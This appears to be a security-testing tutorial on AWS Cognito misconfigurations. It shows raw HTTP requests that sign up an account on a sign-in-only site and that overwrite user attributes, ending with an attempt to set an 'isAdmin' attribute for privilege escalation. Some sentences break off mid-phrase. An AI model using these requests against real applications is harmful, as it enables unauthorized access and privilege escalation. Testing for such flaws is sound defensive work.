Misconfigured Registration
Sometimes you may run into an application that has a signup page, but no user registration. A developer may create a website with only a sign-in page for authorized users and not realize that users can register through the Cognito API.
You can try to sign-in with random credentials and check if AWS Cognito User Pools is being used by checking if a request is being made to
https://cognito-idp.us-east-1.amazonaws.com
.The ClientId is a unique identifier used to tell AWS which cognito application we want to use. The ClientId can be found in the Sign-In request made previously or the source code.
Request
Source Code
We can send the registration request to
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:3000/
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityProviderService.SignUp
X-Amz-User-Agent: aws-amplify/5.0.4
Cache-Control: no-store
Content-Length: 167
Origin: http://localhost:3000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
{
"ClientId": "5015ncg0dvmsd4vbmskke3j1tv",
"Username": "test2",
"Password": "Password123!",
"UserAttributes": [
{
"Name": "email",
"Value": "test2@gmail.com"
}
],
"ValidationData": null
}
If the website only contains a sign-in page and the developer doesn't intend for a normal user to be able to register, then this is a vulnerability.
Misconfigured Attributes
AWS Cognito allows users to have attributes. These attributes are additional information on the user that the application may want; such as gender, website, preferred_username, family_name, etc. These attributes can be misconfigured to allow users to write to attributes that the developer didn't intend.
By default, the following attributes are writeable (minus the attribute prefixed with "custom:"):
When a user logs into an application using AWS Cognito User Pools, they will receive an
Request
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:3000/
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityProviderService.GetUser
X-Amz-User-Agent: aws-amplify/5.0.4
Cache-Control: no-store
Content-Length: 1051
Origin: http://localhost:3000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
{
"AccessToken":"eyJraWQiOiJueXdGS0pudTRiU1ZTdk5PTGxwNzVJS0hlSUpxRzNtWkp..."
}
Response
HTTP/2 200 OK
Date: Fri, 11 Aug 2023 17:00:04 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 254
X-Amzn-Requestid: 0c25f19c-4711-4b49-8a2d-bc7ecfc3fa1b
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amzn-ErrorMessage,Date
{
"UserAttributes": [
{
"Name": "sub",
"Value": "744bf586-7150-4358-8789-b2dd78711992"
},
{
"Name": "address",
"Value": "555 home"
},
{
"Name": "email_verified",
"Value": "true"
},
{
"Name": "name",
"Value": "blog user"
},
{
"Name": "phone_number_verified",
"Value": "false"
},
{
"Name": "email",
"Value": "blog3@gmail.com"
}
],
"Username": "blog3"
}
As you can see we have the following attributes set on our account. We can check if any of these attributes are writeable using the
By default there is no real security issue unless the developer made
Request
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:3000/
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityProviderService.UpdateUserAttributes
X-Amz-User-Agent: aws-amplify/5.0.4
Cache-Control: no-store
Content-Length: 1173
Origin: http://localhost:3000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
{
"AccessToken":"eyJraWQiOiJueXdGS0pudTRiU1ZTdk5PTGxwNzVJS0hlSUpxRzNtWkp0...",
"UserAttributes": [
{
"Name": "address",
"Value": "hacker"
}
]
}
You can then check if this attribute was changed by making another request to
HTTP/2 200 OK
Date: Fri, 11 Aug 2023 17:00:04 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 254
X-Amzn-Requestid: 0c25f19c-4711-4b49-8a2d-bc7ecfc3fa1b
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amzn-ErrorMessage,Date
{
"UserAttributes": [
{
"Name": "sub",
"Value": "744bf586-7150-4358-8789-b2dd78711992"
},
{
"Name": "address",
"Value": "hacker"
},
{
"Name": "email_verified",
"Value": "true"
},
{
"Name": "name",
"Value": "blog user"
},
{
"Name": "phone_number_verified",
"Value": "false"
},
{
"Name": "email",
"Value": "blog3@gmail.com"
}
],
"Username": "blog3"
}
Like I said previously, changing your own attributes such as address, name, family_name, etc. is not a security issue. The security issue will most likely rely in the misconfiguration of custom attributes. Custom attribute names are always prefixed “custom:” in Amazon Cognito requests.
A developer may have an
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:3000/
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityProviderService.UpdateUserAttributes
X-Amz-User-Agent: aws-amplify/5.0.4
Cache-Control: no-store
Content-Length: 1173
Origin: http://localhost:3000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
{
"AccessToken":"eyJraWQiOiJueXdGS0pudTRiU1ZTdk5PTGxwNzVJS0hlSUpxRzNtWkp0...",
"UserAttributes": [
{
"Name": "isAdmin",
"Value": "True"
}
]
}
Remember, you can then check if it worked by sending the